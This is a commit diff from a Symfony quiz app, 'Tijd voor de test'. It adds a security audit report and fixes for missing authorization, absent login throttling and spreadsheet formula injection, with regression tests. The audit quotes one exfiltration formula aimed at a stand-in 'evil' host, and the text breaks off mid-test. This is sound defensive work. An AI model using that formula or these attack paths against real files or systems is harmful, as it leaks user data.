mirror of
https://github.com/MarijnDoeve/TijdVoorDeTest.git
synced 2026-07-13 21:35:19 +02:00
Compare commits
4 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
89e7dd09ba
|
|||
|
cd293aa86f
|
|||
|
4f3a6fbc89
|
|||
|
7d8722eec5
|
@@ -1,14 +0,0 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
use TwigCsFixer\Config\Config;
|
||||
use TwigCsFixer\Ruleset\Ruleset;
|
||||
use TwigCsFixer\Standard\Symfony;
|
||||
use TwigCsFixer\Standard\TwigCsFixer;
|
||||
|
||||
$ruleset = new Ruleset();
|
||||
$ruleset->addStandard(new TwigCsFixer());
|
||||
$ruleset->addStandard(new Symfony());
|
||||
|
||||
return new Config()->setRuleset($ruleset);
|
||||
@@ -276,19 +276,10 @@ question counts as covered more than once).
|
||||
- Strict types declaration required
|
||||
- Trailing commas in multiline structures
|
||||
- No else-only blocks
|
||||
- `@Symfony` already enforces alphabetical import ordering (`ordered_imports`), single-quoted strings
|
||||
(`single_quote`), and stripping redundant/empty PHPDoc (`no_superfluous_phpdoc_tags`, `no_empty_phpdoc`) — no
|
||||
project-specific overrides needed for these
|
||||
- **Docblocks**: only write one when it adds information beyond the method signature (e.g. `@throws`, a non-obvious
|
||||
edge case or constraint) — don't restate parameter/return types already expressed by PHP type declarations.
|
||||
`no_superfluous_phpdoc_tags`/`no_empty_phpdoc` above strip redundant tags/blocks mechanically; whether to write a
|
||||
docblock at all is this convention
|
||||
- **Rector**: Aggressive modernization with all attribute sets + prepared sets (dead code, code quality, Doctrine,
|
||||
Symfony, PHPUnit)
|
||||
- **PHPStan**: Level 8 with extensions for Doctrine and Symfony
|
||||
- **Twig-CS-Fixer**: Explicit ruleset in `.twig-cs-fixer.php` (default `TwigCsFixer` standard for
|
||||
formatting/whitespace/quotes, plus the `Symfony` standard for template/directory naming conventions) — pinned
|
||||
explicitly rather than relying on the package's implicit defaults
|
||||
- **Twig-CS-Fixer**: Template style enforcement
|
||||
- **Safe functions**: Use `thecodingmachine/safe` wrappers for standard PHP functions that return `false` on failure —
|
||||
they throw exceptions instead
|
||||
- **TypeScript (`assets/`)**: Compiled via `sensiolabs/typescript-bundle` (standalone SWC binary, no Node/npm).
|
||||
|
||||
@@ -0,0 +1,104 @@
|
||||
# Security Audit — Tijd voor de test
|
||||
|
||||
**Date:** 2026-07-12
|
||||
**Branch:** `declare-ext-intl-ext-zip`
|
||||
**Scope:** Full codebase — authentication/authorization, injection & output encoding, config/secrets/infrastructure, quiz business-logic abuse, and dependency audits. Read-only scan; no files were modified.
|
||||
|
||||
## Summary
|
||||
|
||||
| # | Severity | Finding | Location |
|
||||
|---|----------|---------|----------|
|
||||
| 1 | High | ~~`PrepareEliminationController` has no authorization guard~~ **Fixed 2026-07-13** | `src/Controller/Backoffice/PrepareEliminationController.php:21-65` |
|
||||
| 2 | High | Production PostgreSQL published to host + default-password fallback | `compose.prod.yaml:27-28`, `compose.yaml:11,30` |
|
||||
| 3 | Medium | ~~Spreadsheet formula injection in exports~~ **Fixed 2026-07-13** | `src/Service/QuizSpreadsheetService.php`, `src/Service/DataExportService.php` |
|
||||
| 4 | Medium | ~~No login throttling / brute-force protection~~ **Fixed 2026-07-13** | `config/packages/security.yaml:17-29` |
|
||||
| 5 | Medium | Open self-registration grants immediate backoffice access | `src/Controller/RegistrationController.php:40-56` |
|
||||
| 6 | Low | Double-submit race can inflate score | `src/Controller/QuizController.php:120-128` |
|
||||
| 7 | Low | Answer-POST path never checks `isFinalized`/`isLocked` | `src/Controller/QuizController.php:102-131` |
|
||||
| 8 | Low | Server-side formula evaluation of uploaded XLSX | `src/Service/QuizSpreadsheetService.php:68` |
|
||||
| 9 | Low | Containers run as root | `Dockerfile` |
|
||||
| 10 | Low | No security response headers in prod | `frankenphp/Caddyfile:45` |
|
||||
| 11 | Low | Committed `APP_SECRET` (dev-only) | `.env.dev:3` |
|
||||
| 12 | Low | `zend.exception_ignore_args = Off` in prod | `frankenphp/conf.d/10-app.ini:15` |
|
||||
|
||||
**Dependencies are clean:** `composer audit` and `bin/console importmap:audit` both report zero known-CVE advisories.
|
||||
|
||||
---
|
||||
|
||||
## High
|
||||
|
||||
### 1. `PrepareEliminationController` has no authorization guard — FIXED
|
||||
|
||||
**File:** `src/Controller/Backoffice/PrepareEliminationController.php:21-65`
|
||||
|
||||
The class carried no `#[IsGranted]` at class or method level — unlike every sibling controller, and unlike `EliminationController` which guards with `SeasonVoter::ELIMINATION`. Both routes were gated only by the blanket `^/backoffice → IS_AUTHENTICATED` rule.
|
||||
|
||||
- `viewElimination` (line 46) both reads and, on POST, rewrites any elimination via `updateFromInputBag()` + `flush()`.
|
||||
- `index` (line 32) never checked that `$quiz` belonged to `$season`.
|
||||
|
||||
**Failure scenario:** Any authenticated user who obtained or guessed another season's quiz/elimination UUID could rewrite that season's red/green elimination screens.
|
||||
|
||||
**Fix applied:** Added `#[IsGranted(SeasonVoter::ELIMINATION, 'quiz')]` to `index` and `#[IsGranted(SeasonVoter::ELIMINATION, 'elimination')]` to `viewElimination`, matching the pattern used everywhere else. Regression tests `testIndexIsDeniedForNonOwner` and `testViewEliminationIsDeniedForNonOwner` were added to `tests/Controller/Backoffice/PrepareEliminationControllerTest.php` (written first, confirmed failing against the old code, now passing). Full suite (290 tests), PHPStan, Rector, and CS-Fixer all pass.
|
||||
|
||||
### 2. Production PostgreSQL published to host with default-password fallback
|
||||
|
||||
**Files:** `compose.prod.yaml:27-28`, `compose.yaml:11,30`
|
||||
|
||||
- `compose.prod.yaml:27-28` publishes `5430:5432` in the *production* override; the DB should stay on the `internal` network only.
|
||||
- `compose.yaml:11,30` default `POSTGRES_PASSWORD` to `!ChangeMe!`, and `compose.prod.yaml` never sets it — so if the Portainer stack env omits it, prod silently runs with a publicly-known password.
|
||||
|
||||
**Failure scenario:** Internet-reachable database with a known default credential → full read/write of user hashes, quiz data, reset-password tokens.
|
||||
|
||||
**Fix:** Drop the port publish from the prod override; make `POSTGRES_PASSWORD` mandatory with no fallback in prod.
|
||||
|
||||
---
|
||||
|
||||
## Medium
|
||||
|
||||
### 3. Spreadsheet formula injection in exports — FIXED
|
||||
|
||||
**Files:** `src/Service/QuizSpreadsheetService.php:132,136`; `src/Service/DataExportService.php:208,237,249-265,328,393-403`
|
||||
|
||||
All user-controlled strings were written to XLSX via `setCellValue()`/`fromArray()` with no quote-prefixing or value-binder override. PhpSpreadsheet stores any string starting with `=` as a live formula.
|
||||
|
||||
**Failure scenario:** Seasons support multiple owners, so a co-owner could name an answer/candidate `=WEBSERVICE("http://evil/?"&A1)`; when another owner opened the quiz export or GDPR zip in Excel, the formula would execute/exfiltrate.
|
||||
|
||||
**Fix applied:** Added `src/Helpers/FormulaInjectionSafeValueBinder.php`, a `DefaultValueBinder` override that forces any string starting with `= + - @` (or a leading tab/CR) to be stored as a plain string data type instead of being auto-detected as a formula. Wired it in via `Cell::setValueBinder()` in the constructors of `QuizSpreadsheetService` and `DataExportService`, so it's active before any cell is written. Regression tests added: `tests/Helpers/FormulaInjectionSafeValueBinderTest.php` (unit-level), plus `testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString` and `testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString` (written first, confirmed failing against the old code, now passing).
|
||||
|
||||
### 4. No login throttling / brute-force protection — FIXED
|
||||
|
||||
**File:** `config/packages/security.yaml:17-29`
|
||||
|
||||
`form_login` had no `login_throttling` and no rate limiter was configured anywhere. `/login` allowed unlimited password guessing; the public `POST /` season-code entry (`QuizController.php:35`) was likewise an unthrottled oracle for enumerating the ~3.2M-space season codes (5 chars, 20-consonant alphabet).
|
||||
|
||||
**Fix applied:**
|
||||
- Added `symfony/rate-limiter` as a composer dependency and enabled `login_throttling` (`max_attempts: 5`) on the `main` firewall in `config/packages/security.yaml`, using Symfony's built-in per-user/global rate limiter.
|
||||
- Added a dedicated `season_code` rate limiter (`framework.rate_limiter`, sliding window, 20 attempts/minute per IP) in `config/packages/framework.yaml`, enforced in `QuizController::selectSeason` — a `TooManyRequestsHttpException` (429) is thrown once the client IP exceeds the limit, before the season-code form is even validated.
|
||||
- Both limiters have lower `when@test` overrides so tests run fast and deterministically.
|
||||
- Regression tests added: `testLoginIsThrottledAfterTooManyFailedAttempts` (`tests/Controller/LoginControllerTest.php`) and `testSelectSeasonIsThrottledAfterTooManyAttempts` (`tests/Controller/QuizControllerTest.php`), both written first, confirmed failing against the old config, now passing.
|
||||
|
||||
### 5. Open self-registration grants immediate backoffice access
|
||||
|
||||
**Files:** `src/Controller/RegistrationController.php:40-56`, `config/packages/security.yaml:31`
|
||||
|
||||
Registration auto-logs-in a new user *before* email verification, and `^/backoffice` requires only `IS_AUTHENTICATED`. Any anonymous visitor gets an authenticated foothold to probe every backoffice route — the precondition that makes finding 1 practically exploitable.
|
||||
|
||||
**Fix / decision needed:** Confirm whether open registration into the backoffice is intended. If so, gate sensitive areas behind verified email and add a CAPTCHA/rate limit to registration.
|
||||
|
||||
---
|
||||
|
||||
## Low
|
||||
|
||||
- **6. Double-submit race can inflate score** (`src/Controller/QuizController.php:120-128`): no unique constraint on `GivenAnswer` and a TOCTOU between the "is this the next question" check and the insert. Concurrent POSTs of the known-correct answer each insert a row, each counted correct. Add a unique index on (quizCandidate, question).
|
||||
- **7. Answer-POST path never checks `isFinalized`/`isLocked`** (`src/Controller/QuizController.php:102-131`): a finalized quiz still set as `activeQuiz` stays answerable. The POST path also doesn't assert a `QuizCandidate` exists (only GET does) — currently not exploitable but worth hardening.
|
||||
- **8. Server-side formula evaluation of uploaded XLSX** (`src/Service/QuizSpreadsheetService.php:68`): `toArray()` leaves `calculateFormulas` at default `true`, allowing CPU-burn via nested formulas on import. Pass `calculateFormulas: false`.
|
||||
- **9. Containers run as root** (`Dockerfile`, no `USER` directive): any PHP RCE is immediately root in-container.
|
||||
- **10. No security response headers in prod** (`frankenphp/Caddyfile:45`): no CSP/`frame-ancestors`, `X-Content-Type-Options`, or HSTS — backoffice is clickjackable.
|
||||
- **11. Committed `APP_SECRET`** (`.env.dev:3`, dev-only): prod uses `composer dump-env prod` with an env-provided secret, so scope is limited to any environment misconfigured to `APP_ENV=dev`. Consider rotating regardless since the value is now public.
|
||||
- **12. `zend.exception_ignore_args = Off`** (`frankenphp/conf.d/10-app.ini:15`, prod): a stack trace in a password-handling path could ship plaintext to Sentry.
|
||||
|
||||
---
|
||||
|
||||
## Confirmed clean
|
||||
|
||||
No SQL/DQL injection (all queries parameterized), essentially no XSS surface (one `|raw` on an app-generated signed URL; GitHub release markdown is escaped), no `unserialize`/`eval`/shell-exec anywhere, safe redirects (open-redirect listener validates the logout `target`), no correct-answer or score leakage to candidates, server-set timing (no client-forgeable timestamps), zip creation with sanitized filenames (no zip-slip/path traversal), and a clean CI workflow (least-privilege permissions, SHA-pinned actions, no `pull_request_target`).
|
||||
@@ -9,6 +9,8 @@
|
||||
"php": ">=8.5",
|
||||
"ext-ctype": "*",
|
||||
"ext-iconv": "*",
|
||||
"ext-intl": "*",
|
||||
"ext-zip": "*",
|
||||
"doctrine/dbal": "^4.4.3",
|
||||
"doctrine/doctrine-bundle": "^3.2.2",
|
||||
"doctrine/doctrine-migrations-bundle": "^4.0",
|
||||
@@ -34,6 +36,7 @@
|
||||
"symfony/object-mapper": "8.1.*",
|
||||
"symfony/property-access": "8.1.*",
|
||||
"symfony/property-info": "8.1.*",
|
||||
"symfony/rate-limiter": "8.1.*",
|
||||
"symfony/runtime": "8.1.*",
|
||||
"symfony/security-bundle": "8.1.*",
|
||||
"symfony/security-csrf": "8.1.*",
|
||||
|
||||
Generated
+78
-2
@@ -4,7 +4,7 @@
|
||||
"Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
|
||||
"This file is @generated automatically"
|
||||
],
|
||||
"content-hash": "b2f319bad9d390a60067420d772e06e6",
|
||||
"content-hash": "8be25e3d256bbcc2d3c36cecac47feed",
|
||||
"packages": [
|
||||
{
|
||||
"name": "composer/pcre",
|
||||
@@ -6863,6 +6863,80 @@
|
||||
],
|
||||
"time": "2026-05-29T05:06:50+00:00"
|
||||
},
|
||||
{
|
||||
"name": "symfony/rate-limiter",
|
||||
"version": "v8.1.1",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/symfony/rate-limiter.git",
|
||||
"reference": "dd8f48286c000b8511b9413105f4118c8c2a4bd6"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/symfony/rate-limiter/zipball/dd8f48286c000b8511b9413105f4118c8c2a4bd6",
|
||||
"reference": "dd8f48286c000b8511b9413105f4118c8c2a4bd6",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"php": ">=8.4.1",
|
||||
"symfony/options-resolver": "^7.4|^8.0"
|
||||
},
|
||||
"require-dev": {
|
||||
"psr/cache": "^1.0|^2.0|^3.0",
|
||||
"symfony/lock": "^7.4|^8.0"
|
||||
},
|
||||
"type": "library",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"Symfony\\Component\\RateLimiter\\": ""
|
||||
},
|
||||
"exclude-from-classmap": [
|
||||
"/Tests/"
|
||||
]
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"MIT"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "Wouter de Jong",
|
||||
"email": "wouter@wouterj.nl"
|
||||
},
|
||||
{
|
||||
"name": "Symfony Community",
|
||||
"homepage": "https://symfony.com/contributors"
|
||||
}
|
||||
],
|
||||
"description": "Provides a Token Bucket implementation to rate limit input and output in your application",
|
||||
"homepage": "https://symfony.com",
|
||||
"keywords": [
|
||||
"limiter",
|
||||
"rate-limiter"
|
||||
],
|
||||
"support": {
|
||||
"source": "https://github.com/symfony/rate-limiter/tree/v8.1.1"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
"url": "https://symfony.com/sponsor",
|
||||
"type": "custom"
|
||||
},
|
||||
{
|
||||
"url": "https://github.com/fabpot",
|
||||
"type": "github"
|
||||
},
|
||||
{
|
||||
"url": "https://github.com/nicolas-grekas",
|
||||
"type": "github"
|
||||
},
|
||||
{
|
||||
"url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
|
||||
"type": "tidelift"
|
||||
}
|
||||
],
|
||||
"time": "2026-06-09T11:06:24+00:00"
|
||||
},
|
||||
{
|
||||
"name": "symfony/routing",
|
||||
"version": "v8.1.0",
|
||||
@@ -13511,7 +13585,9 @@
|
||||
"platform": {
|
||||
"php": ">=8.5",
|
||||
"ext-ctype": "*",
|
||||
"ext-iconv": "*"
|
||||
"ext-iconv": "*",
|
||||
"ext-intl": "*",
|
||||
"ext-zip": "*"
|
||||
},
|
||||
"platform-dev": {},
|
||||
"plugin-api-version": "2.9.0"
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
# see https://symfony.com/doc/current/reference/configuration/framework.html
|
||||
framework:
|
||||
secret: '%env(APP_SECRET)%'
|
||||
|
||||
|
||||
# Note that the session will be started ONLY if you read or write from it.
|
||||
session: true
|
||||
form:
|
||||
@@ -9,6 +9,13 @@ framework:
|
||||
enabled: true
|
||||
#esi: true
|
||||
#fragments: true
|
||||
rate_limiter:
|
||||
# Throttles guesses against the public season-code entry point (config/packages/security.yaml
|
||||
# handles throttling for the backoffice /login form separately).
|
||||
season_code:
|
||||
policy: sliding_window
|
||||
limit: 20
|
||||
interval: '1 minute'
|
||||
when@prod:
|
||||
framework:
|
||||
# shortcut for private IP address ranges of your proxy
|
||||
@@ -21,3 +28,6 @@ when@test:
|
||||
test: true
|
||||
session:
|
||||
storage_factory_id: session.storage.factory.mock_file
|
||||
rate_limiter:
|
||||
season_code:
|
||||
limit: 3
|
||||
|
||||
@@ -27,6 +27,8 @@ security:
|
||||
remember_me:
|
||||
secret: '%kernel.secret%'
|
||||
lifetime: 604800 # 1 week in seconds
|
||||
login_throttling:
|
||||
max_attempts: 5
|
||||
|
||||
access_control:
|
||||
- { path: ^/admin, roles: ROLE_ADMIN }
|
||||
@@ -43,3 +45,7 @@ when@test:
|
||||
cost: 4 # Lowest possible value for bcrypt
|
||||
time_cost: 3 # Lowest possible value for argon
|
||||
memory_cost: 10 # Lowest possible value for argon
|
||||
firewalls:
|
||||
main:
|
||||
login_throttling:
|
||||
max_attempts: 2
|
||||
|
||||
Generated
+1
-1
@@ -629,7 +629,7 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
|
||||
* }>,
|
||||
* },
|
||||
* rate_limiter?: bool|array{ // Rate limiter configuration
|
||||
* enabled?: bool|Param, // Default: false
|
||||
* enabled?: bool|Param, // Default: true
|
||||
* limiters?: array<string, array{ // Default: []
|
||||
* lock_factory?: scalar|Param|null, // The service ID of the lock factory used by this limiter (or null to disable locking). // Default: "auto"
|
||||
* cache_pool?: scalar|Param|null, // The cache pool to use for storing the current limiter state. // Default: "cache.rate_limiter"
|
||||
|
||||
@@ -11,18 +11,21 @@ use Symfony\Component\HttpFoundation\Response;
|
||||
use Symfony\Component\Routing\Attribute\Route;
|
||||
use Symfony\Component\Routing\Requirement\Requirement;
|
||||
use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
|
||||
use Symfony\Component\Security\Http\Attribute\IsGranted;
|
||||
use Tvdt\Controller\AbstractController;
|
||||
use Tvdt\Entity\Elimination;
|
||||
use Tvdt\Entity\Quiz;
|
||||
use Tvdt\Entity\Season;
|
||||
use Tvdt\Enum\FlashType;
|
||||
use Tvdt\Factory\EliminationFactory;
|
||||
use Tvdt\Security\Voter\SeasonVoter;
|
||||
|
||||
final class PrepareEliminationController extends AbstractController
|
||||
{
|
||||
public function __construct(private readonly EliminationFactory $eliminationFactory, private readonly EntityManagerInterface $em) {}
|
||||
|
||||
#[IsCsrfTokenValid('prepare_elimination')]
|
||||
#[IsGranted(SeasonVoter::ELIMINATION, 'quiz')]
|
||||
#[Route(
|
||||
'/backoffice/season/{seasonCode:season}/quiz/{quiz}/elimination/prepare',
|
||||
name: 'tvdt_prepare_elimination',
|
||||
@@ -37,6 +40,7 @@ final class PrepareEliminationController extends AbstractController
|
||||
}
|
||||
|
||||
#[IsCsrfTokenValid('prepare_elimination', methods: ['POST'])]
|
||||
#[IsGranted(SeasonVoter::ELIMINATION, 'elimination')]
|
||||
#[Route(
|
||||
'/backoffice/elimination/{elimination}',
|
||||
name: 'tvdt_prepare_elimination_view',
|
||||
|
||||
@@ -8,6 +8,8 @@ use Doctrine\ORM\EntityManagerInterface;
|
||||
use Symfony\Component\HttpFoundation\Request;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
use Symfony\Component\HttpKernel\Attribute\AsController;
|
||||
use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException;
|
||||
use Symfony\Component\RateLimiter\RateLimiterFactoryInterface;
|
||||
use Symfony\Component\Routing\Attribute\Route;
|
||||
use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
|
||||
use Symfony\Contracts\Translation\TranslatorInterface;
|
||||
@@ -30,7 +32,7 @@ use Tvdt\Repository\SeasonRepository;
|
||||
#[AsController]
|
||||
final class QuizController extends AbstractController
|
||||
{
|
||||
public function __construct(private readonly TranslatorInterface $translator, private readonly EntityManagerInterface $entityManager, private readonly SeasonRepository $seasonRepository, private readonly CandidateRepository $candidateRepository, private readonly QuestionRepository $questionRepository, private readonly AnswerRepository $answerRepository, private readonly QuizCandidateRepository $quizCandidateRepository) {}
|
||||
public function __construct(private readonly TranslatorInterface $translator, private readonly EntityManagerInterface $entityManager, private readonly SeasonRepository $seasonRepository, private readonly CandidateRepository $candidateRepository, private readonly QuestionRepository $questionRepository, private readonly AnswerRepository $answerRepository, private readonly QuizCandidateRepository $quizCandidateRepository, private readonly RateLimiterFactoryInterface $seasonCodeLimiter) {}
|
||||
|
||||
#[Route(path: '/', name: 'tvdt_quiz_select_season', methods: ['GET', 'POST'])]
|
||||
public function selectSeason(Request $request): Response
|
||||
@@ -38,6 +40,10 @@ final class QuizController extends AbstractController
|
||||
$form = $this->createForm(SelectSeasonType::class);
|
||||
$form->handleRequest($request);
|
||||
|
||||
if ($form->isSubmitted() && !$this->seasonCodeLimiter->create($request->getClientIp())->consume()->isAccepted()) {
|
||||
throw new TooManyRequestsHttpException();
|
||||
}
|
||||
|
||||
if ($form->isSubmitted() && $form->isValid()) {
|
||||
$seasonCode = $form->get('season_code')->getData();
|
||||
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace Tvdt\Helpers;
|
||||
|
||||
use PhpOffice\PhpSpreadsheet\Cell\Cell;
|
||||
use PhpOffice\PhpSpreadsheet\Cell\DefaultValueBinder;
|
||||
|
||||
/**
|
||||
* Stores any string that would otherwise be auto-detected as a spreadsheet formula (or that
|
||||
* spreadsheet software re-interprets as one on open/paste) as plain text instead, to prevent
|
||||
* formula injection via user-controlled export data (e.g. a candidate or answer named
|
||||
* `=WEBSERVICE(...)`).
|
||||
*/
|
||||
final class FormulaInjectionSafeValueBinder extends DefaultValueBinder
|
||||
{
|
||||
private const string DANGEROUS_PREFIXES = "=+-@\t\r";
|
||||
|
||||
#[\Override]
|
||||
public function bindValue(Cell $cell, mixed $value): bool
|
||||
{
|
||||
if (\is_string($value) && '' !== $value && str_contains(self::DANGEROUS_PREFIXES, $value[0])) {
|
||||
$cell->setValueExplicit($value);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
return parent::bindValue($cell, $value);
|
||||
}
|
||||
}
|
||||
@@ -5,6 +5,7 @@ declare(strict_types=1);
|
||||
namespace Tvdt\Service;
|
||||
|
||||
use Doctrine\ORM\EntityManagerInterface;
|
||||
use PhpOffice\PhpSpreadsheet\Cell\Cell;
|
||||
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
||||
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
||||
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
|
||||
@@ -19,6 +20,7 @@ use Tvdt\Entity\Quiz;
|
||||
use Tvdt\Entity\Season;
|
||||
use Tvdt\Entity\User;
|
||||
use Tvdt\Helpers\FilenameSanitizer;
|
||||
use Tvdt\Helpers\FormulaInjectionSafeValueBinder;
|
||||
use Tvdt\Repository\QuizRepository;
|
||||
|
||||
use function Safe\tempnam;
|
||||
@@ -31,7 +33,9 @@ class DataExportService
|
||||
private readonly EntityManagerInterface $entityManager,
|
||||
private readonly QuizSpreadsheetService $quizSpreadsheetService,
|
||||
private readonly QuizRepository $quizRepository,
|
||||
) {}
|
||||
) {
|
||||
Cell::setValueBinder(new FormulaInjectionSafeValueBinder());
|
||||
}
|
||||
|
||||
/** @throws FilesystemException @return string path to a temp zip file; caller is responsible for removing it */
|
||||
public function exportForUser(User $user): string
|
||||
|
||||
@@ -4,6 +4,7 @@ declare(strict_types=1);
|
||||
|
||||
namespace Tvdt\Service;
|
||||
|
||||
use PhpOffice\PhpSpreadsheet\Cell\Cell;
|
||||
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
||||
use PhpOffice\PhpSpreadsheet\Reader;
|
||||
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
||||
@@ -14,9 +15,15 @@ use Tvdt\Entity\Answer;
|
||||
use Tvdt\Entity\Question;
|
||||
use Tvdt\Entity\Quiz;
|
||||
use Tvdt\Exception\SpreadsheetDataException;
|
||||
use Tvdt\Helpers\FormulaInjectionSafeValueBinder;
|
||||
|
||||
class QuizSpreadsheetService
|
||||
{
|
||||
public function __construct()
|
||||
{
|
||||
Cell::setValueBinder(new FormulaInjectionSafeValueBinder());
|
||||
}
|
||||
|
||||
public function generateTemplate(bool $fillExample = true): \Closure
|
||||
{
|
||||
$quiz = new Quiz();
|
||||
|
||||
@@ -117,4 +117,34 @@ final class PrepareEliminationControllerTest extends AbstractControllerWebTestCa
|
||||
|
||||
self::assertResponseRedirects(\sprintf('/elimination/%s', $elimination->id));
|
||||
}
|
||||
|
||||
public function testIndexIsDeniedForNonOwner(): void
|
||||
{
|
||||
$quiz = $this->getQuizByName('Quiz 1');
|
||||
$token = $this->getCsrfTokenFromPage(\sprintf('/backoffice/season/krtek/quiz/%s/result', $quiz->id), '/elimination/prepare');
|
||||
|
||||
$this->loginAs('test@example.org');
|
||||
|
||||
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/quiz/%s/elimination/prepare', $quiz->id), [
|
||||
'_token' => $token,
|
||||
]);
|
||||
|
||||
self::assertResponseStatusCodeSame(403);
|
||||
}
|
||||
|
||||
public function testViewEliminationIsDeniedForNonOwner(): void
|
||||
{
|
||||
$quiz = $this->getQuizByName('Quiz 1');
|
||||
$elimination = new Elimination($quiz);
|
||||
$elimination->data = ['Tom' => Elimination::SCREEN_GREEN];
|
||||
|
||||
$this->entityManager->persist($elimination);
|
||||
$this->entityManager->flush();
|
||||
|
||||
$this->loginAs('test@example.org');
|
||||
|
||||
$this->client->request(Request::METHOD_GET, \sprintf('/backoffice/elimination/%s', $elimination->id));
|
||||
|
||||
self::assertResponseStatusCodeSame(403);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -11,6 +11,14 @@ use Tvdt\Controller\LoginController;
|
||||
#[CoversClass(LoginController::class)]
|
||||
final class LoginControllerTest extends AbstractControllerWebTestCase
|
||||
{
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
|
||||
// Login attempts are rate-limited; start each test with a clean quota.
|
||||
self::getContainer()->get('cache.rate_limiter')->clear();
|
||||
}
|
||||
|
||||
public function testLoginPageLoadsWhenNotAuthenticated(): void
|
||||
{
|
||||
$this->client->request(Request::METHOD_GET, '/login');
|
||||
@@ -60,6 +68,30 @@ final class LoginControllerTest extends AbstractControllerWebTestCase
|
||||
self::assertSelectorTextContains('body', 'Ongeldige inloggegevens.');
|
||||
}
|
||||
|
||||
public function testLoginIsThrottledAfterTooManyFailedAttempts(): void
|
||||
{
|
||||
for ($i = 0; $i < 2; ++$i) {
|
||||
$this->client->request(Request::METHOD_GET, '/login');
|
||||
$form = $this->client->getCrawler()->filter('form')->form([
|
||||
'_username' => 'test@example.org',
|
||||
'_password' => 'wrong-password',
|
||||
]);
|
||||
$this->client->submit($form);
|
||||
self::assertResponseRedirects('/login');
|
||||
}
|
||||
|
||||
$this->client->request(Request::METHOD_GET, '/login');
|
||||
$form = $this->client->getCrawler()->filter('form')->form([
|
||||
'_username' => 'test@example.org',
|
||||
'_password' => 'wrong-password',
|
||||
]);
|
||||
$this->client->submit($form);
|
||||
|
||||
self::assertResponseRedirects('/login');
|
||||
$this->client->followRedirect();
|
||||
self::assertSelectorTextContains('body', 'Te veel onjuiste inlogpogingen');
|
||||
}
|
||||
|
||||
public function testLogoutIsInterceptedByFirewall(): void
|
||||
{
|
||||
$this->loginAs('test@example.org');
|
||||
|
||||
@@ -17,6 +17,14 @@ use Tvdt\Helpers\Base64;
|
||||
#[CoversClass(QuizController::class)]
|
||||
final class QuizControllerTest extends AbstractControllerWebTestCase
|
||||
{
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
|
||||
// Season-code guessing is rate-limited; start each test with a clean quota.
|
||||
self::getContainer()->get('cache.rate_limiter')->clear();
|
||||
}
|
||||
|
||||
private function answerQuestion(Question $question): void
|
||||
{
|
||||
$tomHash = Base64::base64UrlEncode('Tom');
|
||||
@@ -69,6 +77,26 @@ final class QuizControllerTest extends AbstractControllerWebTestCase
|
||||
self::assertResponseRedirects('/krtek');
|
||||
}
|
||||
|
||||
public function testSelectSeasonIsThrottledAfterTooManyAttempts(): void
|
||||
{
|
||||
for ($i = 0; $i < 3; ++$i) {
|
||||
$crawler = $this->client->request(Request::METHOD_GET, '/');
|
||||
$form = $crawler->filter('form')->form([
|
||||
'select_season[season_code]' => 'aaaaa',
|
||||
]);
|
||||
$this->client->submit($form);
|
||||
self::assertResponseRedirects('/');
|
||||
}
|
||||
|
||||
$crawler = $this->client->request(Request::METHOD_GET, '/');
|
||||
$form = $crawler->filter('form')->form([
|
||||
'select_season[season_code]' => 'aaaaa',
|
||||
]);
|
||||
$this->client->submit($form);
|
||||
|
||||
self::assertResponseStatusCodeSame(429);
|
||||
}
|
||||
|
||||
public function testEnterNamePageLoads(): void
|
||||
{
|
||||
$this->client->request(Request::METHOD_GET, '/krtek');
|
||||
|
||||
@@ -0,0 +1,63 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace Tvdt\Tests\Helpers;
|
||||
|
||||
use PhpOffice\PhpSpreadsheet\Cell\Cell;
|
||||
use PhpOffice\PhpSpreadsheet\Cell\DataType;
|
||||
use PhpOffice\PhpSpreadsheet\Cell\DefaultValueBinder;
|
||||
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
use PHPUnit\Framework\Attributes\DataProvider;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
use Tvdt\Helpers\FormulaInjectionSafeValueBinder;
|
||||
|
||||
#[CoversClass(FormulaInjectionSafeValueBinder::class)]
|
||||
final class FormulaInjectionSafeValueBinderTest extends TestCase
|
||||
{
|
||||
protected function setUp(): void
|
||||
{
|
||||
Cell::setValueBinder(new FormulaInjectionSafeValueBinder());
|
||||
}
|
||||
|
||||
protected function tearDown(): void
|
||||
{
|
||||
Cell::setValueBinder(new DefaultValueBinder());
|
||||
}
|
||||
|
||||
/** @return iterable<string, array{string}> */
|
||||
public static function dangerousValueProvider(): iterable
|
||||
{
|
||||
